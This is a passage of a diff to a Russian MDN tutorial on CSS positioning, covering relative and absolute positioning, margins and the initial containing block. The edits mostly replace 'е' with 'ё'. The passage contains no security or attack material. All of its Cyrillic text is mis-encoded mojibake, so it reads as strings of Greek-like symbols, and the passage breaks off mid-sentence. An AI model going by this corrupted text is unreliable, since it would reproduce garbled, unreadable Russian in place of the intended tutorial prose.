ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅Β ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° занявшСго своС мСсто Π² ΠΌΠ°ΠΊΠ΅Ρ‚Π΅ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ°, Π² Ρ‚ΠΎΠΌ числС Π·Π°ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ Π΅Π³ΠΎ ΠΏΠ΅Ρ€Π΅ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты Π½Π° страницС. Π”Π²ΠΈΠ³Π°ΠΉΡ‚Π΅ΡΡŒ Π΄Π°Π»Π΅Π΅ ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ объявлСниС <code>position</code> Π² вашСм ΠΊΠΎΠ΄Π΅:</p>
+<p>ΠžΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ Ρ‚ΠΈΠΏ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ рассмотрим. Оно ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆΠ΅ Π½Π° статичСскоС ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅, Π·Π° ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ Ρ‚ΠΎΠ³ΠΎ Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΌΠΎΠ΄ΠΈΡ„ΠΈΡ†ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΎΠΊΠΎΠ½Ρ‡Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎΠ΅ ΠΏΠΎΠ»ΠΎΠΆΠ΅Π½ΠΈΠ΅Β ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° занявшСго своё мСсто Π² ΠΌΠ°ΠΊΠ΅Ρ‚Π΅ Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ³ΠΎ ΠΏΠΎΡ‚ΠΎΠΊΠ°, Π² Ρ‚ΠΎΠΌ числС Π·Π°ΡΡ‚Π°Π²Π»ΡΡ‚ΡŒ Π΅Π³ΠΎ ΠΏΠ΅Ρ€Π΅ΠΊΡ€Ρ‹Π²Π°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ элСмСнты Π½Π° страницС. Π”Π²ΠΈΠ³Π°ΠΉΡ‚Π΅ΡΡŒ Π΄Π°Π»Π΅Π΅ ΠΈ ΠΎΠ±Π½ΠΎΠ²ΠΈΡ‚Π΅ объявлСниС <code>position</code> Π² вашСм ΠΊΠΎΠ΄Π΅:</p>
<pre class="brush: css notranslate">position: relative;</pre>
@@ -120,7 +120,7 @@ span {
<h3 id="ΠΠ±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎΠ΅_ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅">ΠΠ±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅</h3>
-<p>ΠΠ±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π΄Π°Π΅Ρ‚ ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹. Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅ΠΌ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ объявлСниС ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π² вашСм ΠΊΠΎΠ΄Π΅ ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅:</p>
+<p>ΠΠ±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎΠ΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ Π΄Π°Ρ‘Ρ‚ ΡΠΎΠ²Π΅Ρ€ΡˆΠ΅Π½Π½ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Ρ‹. Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠ΅ΠΌ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ объявлСниС ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ Π² вашСм ΠΊΠΎΠ΄Π΅ ΠΊΠ°ΠΊ ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π½ΠΈΠΆΠ΅:</p>
<pre class="brush: css notranslate">position: absolute;</pre>
@@ -164,16 +164,16 @@ span {
<p>{{ EmbedLiveSample('ΠΠ±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎΠ΅_ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅', '100%', 420) }}</p>
-<p>Π’ ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π» Ρ‚Π°ΠΌ, Π³Π΄Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ элСмСнт Π² ΠΏΠΎΡ‚ΠΎΠΊΠ΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ отсутствуСт β€” ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΈ Ρ‚Ρ€Π΅Ρ‚ΠΈΠΉ элСмСнты сблизились Ρ‚Π°ΠΊ Π±ΡƒΠ΄Ρ‚ΠΎ, ΠΎΠ½ большС Π½Π΅ сущСствуСт! Ну, Π² ΠΊΠ°ΠΊΠΎΠΌ-Ρ‚ΠΎ смыслС это ΠΏΡ€Π°Π²Π΄Π°. ΠΠ±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ элСмСнт большС Π½Π΅ сущСствуСт Π² Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅ ΠΌΠ°ΠΊΠ΅Ρ‚Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. ВмСсто этого ΠΎΠ½ располагаСтся Π½Π° своСм собствСнном слоС ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ ΠΎΡ‚ всСго ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ. Π­Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ: это Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΈΠ·ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ Π²Π»ΠΈΡΡŽΡ‚ Π½Π° ΠΌΠ°ΠΊΠ΅Ρ‚ Π΄Ρ€ΡƒΠ³ΠΈΡ… элСмСнтов страницы. НапримСр, Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹Π΅ Π±Π»ΠΎΠΊΠΈ ΠΈ мСню управлСния; <span class="tlid-translation translation" lang="ru"><span title="">ΠΎΠΏΡ€ΠΎΠΊΠΈΠ΄Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ΡΡ ΠΏΠ°Π½Π΅Π»ΠΈ; Ρ„</span></span><span class="tlid-translation translation" lang="ru"><span title="">ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Ρ‚Π°ΡΠΊΠΈΠ²Π°Ρ‚ΡŒ Π² любом мСстС страницы;</span> <span title="">ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅...</span></span></p>
+<p>Π’ ΠΏΠ΅Ρ€Π²ΡƒΡŽ ΠΎΡ‡Π΅Ρ€Π΅Π΄ΡŒ ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Π½Π° Ρ‚ΠΎ, Ρ‡Ρ‚ΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π» Ρ‚Π°ΠΌ, Π³Π΄Π΅ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ элСмСнт Π² ΠΏΠΎΡ‚ΠΎΠΊΠ΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ отсутствуСт β€” ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ ΠΈ Ρ‚Ρ€Π΅Ρ‚ΠΈΠΉ элСмСнты сблизились Ρ‚Π°ΠΊ Π±ΡƒΠ΄Ρ‚ΠΎ, ΠΎΠ½ большС Π½Π΅ сущСствуСт! Ну, Π² ΠΊΠ°ΠΊΠΎΠΌ-Ρ‚ΠΎ смыслС это ΠΏΡ€Π°Π²Π΄Π°. ΠΠ±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ элСмСнт большС Π½Π΅ сущСствуСт Π² Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅ ΠΌΠ°ΠΊΠ΅Ρ‚Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°. ВмСсто этого ΠΎΠ½ располагаСтся Π½Π° своём собствСнном слоС ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ ΠΎΡ‚ всСго ΠΎΡΡ‚Π°Π»ΡŒΠ½ΠΎΠ³ΠΎ. Π­Ρ‚ΠΎ ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ: это Π·Π½Π°Ρ‡ΠΈΡ‚, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒ ΠΈΠ·ΠΎΠ»ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π½Π΅ Π²Π»ΠΈΡΡŽΡ‚ Π½Π° ΠΌΠ°ΠΊΠ΅Ρ‚ Π΄Ρ€ΡƒΠ³ΠΈΡ… элСмСнтов страницы. НапримСр, Π²ΡΠΏΠ»Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΎΠ½Π½Ρ‹Π΅ Π±Π»ΠΎΠΊΠΈ ΠΈ мСню управлСния; <span class="tlid-translation translation" lang="ru"><span title="">ΠΎΠΏΡ€ΠΎΠΊΠΈΠ΄Ρ‹Π²Π°ΡŽΡ‰ΠΈΠ΅ΡΡ ΠΏΠ°Π½Π΅Π»ΠΈ; Ρ„</span></span><span class="tlid-translation translation" lang="ru"><span title="">ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΎΠ³ΠΎ интСрфСйса, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠ΅Ρ€Π΅Ρ‚Π°ΡΠΊΠΈΠ²Π°Ρ‚ΡŒ Π² любом мСстС страницы;</span> <span title="">ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅...</span></span></p>
<p>Π’ΠΎ-Π²Ρ‚ΠΎΡ€Ρ‹Ρ…, ΠΎΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ позиция элСмСнта измСнилась β€” это ΠΏΠΎΡ‚ΠΎΠΌΡƒ, Ρ‡Ρ‚ΠΎ {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}}, ΠΈ {{cssxref("right")}} Π²Π΅Π΄ΡƒΡ‚ сСбя ΠΏΠΎ-Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ с Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½Ρ‹ΠΌ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½ΠΈΠ΅ΠΌ. <span class="tlid-translation translation" lang="ru"><span title="">ВмСсто Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ элСмСнт Π½Π° основС Π΅Π³ΠΎ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠ³ΠΎ полоТСния Π² ΠΎΠ±Ρ‹Ρ‡Π½ΠΎΠΌ ΠΏΠΎΡ‚ΠΎΠΊΠ΅ ΠΌΠ°ΠΊΠ΅Ρ‚Π° Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π°, ΠΎΠ½ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ расстояниС, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ элСмСнт Π΄ΠΎΠ»ΠΆΠ΅Π½ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ ΠΎΡ‚ ΠΊΠ°ΠΆΠ΄ΠΎΠΉ ΠΈΠ· сторон содСрТащСго элСмСнта. ΠŸΠΎΡΡ‚ΠΎΠΌΡƒ Π² этом случаС ΠΌΡ‹ Π³ΠΎΠ²ΠΎΡ€ΠΈΠΌ, Ρ‡Ρ‚ΠΎ Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΉ элСмСнт Π΄ΠΎΠ»ΠΆΠ΅Π½ Ρ€Π°ΡΠΏΠΎΠ»Π°Π³Π°Ρ‚ΡŒΡΡ Π² 30px ΠΎΡ‚ Π²Π΅Ρ€Ρ…Π° "содСрТащСго элСмСнта" ΠΈΒ 30px ΠΎΡ‚ Π»Π΅Π²ΠΎΠ³ΠΎ края (Π’ этом случаС "содСрТащий элСмСнт" являСтся </span></span><strong><span class="tlid-translation translation" lang="ru"><span title="">исходным содСрТащим Π±Π»ΠΎΠΊΠΎΠΌ</span></span></strong>. Π‘ΠΌ. Ρ€Π°Π·Π΄Π΅Π» Π½ΠΈΠΆΠ΅ для Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ<span class="tlid-translation translation" lang="ru"><span title="">).</span></span></p>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}}, ΠΈ {{cssxref("right")}} для измСнСния Ρ€Π°Π·ΠΌΠ΅Ρ€Π° элСмСнта Ссли Π²Π°ΠΌ Π½Π°Π΄ΠΎ. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ <code>top: 0; bottom: 0; left: 0; right: 0;</code> ΠΈ <code>margin: 0;</code> для вашСго ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠ³ΠΎ элСмСнта ΠΈ посмотритС, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚! <span class="tlid-translation translation" lang="ru"><span title="">ΠŸΠΎΡ‚ΠΎΠΌ снова всС Π²Π΅Ρ€Π½ΠΈΡ‚Π΅...</span></span></p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ {{cssxref("top")}}, {{cssxref("bottom")}}, {{cssxref("left")}}, ΠΈ {{cssxref("right")}} для измСнСния Ρ€Π°Π·ΠΌΠ΅Ρ€Π° элСмСнта Ссли Π²Π°ΠΌ Π½Π°Π΄ΠΎ. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ <code>top: 0; bottom: 0; left: 0; right: 0;</code> ΠΈ <code>margin: 0;</code> для вашСго ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌΠΎΠ³ΠΎ элСмСнта ΠΈ посмотритС, Ρ‡Ρ‚ΠΎ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚! <span class="tlid-translation translation" lang="ru"><span title="">ΠŸΠΎΡ‚ΠΎΠΌ снова всС Π²Π΅Ρ€Π½ΠΈΡ‚Π΅...</span></span></p>
</div>
<div class="note">
-<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π”Π°, margin-Ρ‹ всС Π΅Ρ‰Π΅ Π²Π»ΠΈΡΡŽΡ‚ Π½Π° ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ элСмСнт. Однако, схлопывания margin Π½Π΅ происходит.</p>
+<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Π”Π°, margin-Ρ‹ всС Π΅Ρ‰Ρ‘ Π²Π»ΠΈΡΡŽΡ‚ Π½Π° ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ элСмСнт. Однако, схлопывания margin Π½Π΅ происходит.</p>
</div>
<div class="note">
@@ -186,7 +186,7 @@ span {
<p>Если Π½ΠΈΠΊΠ°ΠΊΠΈΠ΅ ΠΈΠ· элСмСнтов ΠΏΡ€Π΅Π΄ΠΊΠΎΠ² Π½Π΅ ΠΈΠΌΠ΅ΡŽΡ‚ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎ Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ свойства ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΈ, Ρ‚ΠΎ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ всС элСмСнты ΠΏΡ€Π΅Π΄ΠΊΠΎΠ² Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ ΡΡ‚Π°Ρ‚ΠΈΡ‡Π΅ΡΠΊΡƒΡŽ ΠΏΠΎΠ·ΠΈΡ†ΠΈΡŽ. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ этого Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ элСмСнт Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒΡΡ Π² <strong><span class="tlid-translation translation" lang="ru"><span title="">исходным </span></span>содСрТащСм Π±Π»ΠΎΠΊΠ΅</strong>. <span class="tlid-translation translation" lang="ru"><span title="">Π˜ΡΡ…ΠΎΠ΄Π½Ρ‹ΠΉ </span></span>содСрТащий Π±Π»ΠΎΠΊ <span class="tlid-translation translation" lang="ru"><span title="">ΠΈΠΌΠ΅Π΅Ρ‚ Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹ области просмотра</span></span>, Π° Ρ‚Π°ΠΊΠΆΠ΅ являСтся Π±Π»ΠΎΠΊΠΎΠΌ, содСрТащим элСмСнт {{htmlelement("html")}}. <span class="tlid-translation translation" lang="ru"><span title="">ΠŸΡ€ΠΎΡ‰Π΅ говоря</span></span>, Π°Π±ΡΠΎΠ»ΡŽΡ‚Π½ΠΎ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ элСмСнт Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Ρ‚ΡŒΡΡ Π·Π° ΠΏΡ€Π΅Π΄Π΅Π»Π°ΠΌΠΈ элСмСнта {{htmlelement("html")}} ΠΈ Π±ΡƒΠ΄Π΅Ρ‚ располоТСн ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ исходного ΠΎΠΊΠ½Π° просмотра.</p>
-<p><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ элСмСнт Π²Π»ΠΎΠΆΠ΅Π½ Π² {{htmlelement ("body")}} Π² исходном HTML, Π½ΠΎ Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ ΠΌΠ°ΠΊΠ΅Ρ‚Π΅ ΠΎΠ½ располоТСн Π½Π°Β </span></span>30px ΠΎΡ‚ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ ΠΈ Π»Π΅Π²ΠΎΠ³ΠΎ края страницы. ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ <strong>контСкст </strong> <strong>позиционирования </strong>β€” ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΊΠ°ΠΊΠΎΠ³ΠΎ элСмСнта позиционируСтся ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ элСмСнт. <span class="tlid-translation translation" lang="ru"><span title="">Π­Ρ‚ΠΎ дСлаСтся ΠΏΡƒΡ‚Π΅ΠΌ установки позиционирования Π½Π° ΠΎΠ΄Π½ΠΎΠΌ ΠΈΠ· ΠΏΡ€Π΅Π΄ΠΊΠΎΠ² элСмСнта </span></span>β€” <span class="tlid-translation translation" lang="ru"><span title="">Π½Π° ΠΎΠ΄ΠΈΠ½ ΠΈΠ· элСмСнтов, Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΎΠ½ Π²Π»ΠΎΠΆΠ΅Π½ (Π²Ρ‹ Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π΅Π³ΠΎ ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ элСмСнта, Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΎΠ½ НЕ Π²Π»ΠΎΠΆΠ΅Π½).</span> <span title="">Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ΄Π΅ΠΌΠΎΠ½ΡΡ‚Ρ€ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ это, Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π΅Π΅ объявлСниС Π² ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ вашСго </span></span><code>body</code><span class="tlid-translation translation" lang="ru"><span title="">:</span></span></p>
+<p><span class="tlid-translation translation" lang="ru"><span title="">ΠŸΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ элСмСнт Π²Π»ΠΎΠΆΠ΅Π½ Π² {{htmlelement ("body")}} Π² исходном HTML, Π½ΠΎ Π² ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΌ ΠΌΠ°ΠΊΠ΅Ρ‚Π΅ ΠΎΠ½ располоТСн Π½Π°Β </span></span>30px ΠΎΡ‚ Π²Π΅Ρ€Ρ…Π½Π΅Π³ΠΎ ΠΈ Π»Π΅Π²ΠΎΠ³ΠΎ края страницы. ΠœΡ‹ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ <strong>контСкст </strong> <strong>позиционирования </strong>β€” ΠΎΡ‚Π½ΠΎΡΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΊΠ°ΠΊΠΎΠ³ΠΎ элСмСнта позиционируСтся ΠΏΠΎΠ·ΠΈΡ†ΠΈΠΎΠ½ΠΈΡ€ΡƒΠ΅ΠΌΡ‹ΠΉ элСмСнт. <span class="tlid-translation translation" lang="ru"><span title="">Π­Ρ‚ΠΎ дСлаСтся ΠΏΡƒΡ‚Ρ‘ΠΌ установки позиционирования Π½Π° ΠΎΠ΄Π½ΠΎΠΌ ΠΈΠ· ΠΏΡ€Π΅Π΄ΠΊΠΎΠ² элСмСнта </span></span>β€” <span class="tlid-translation translation" lang="ru"><span title="">Π½Π° 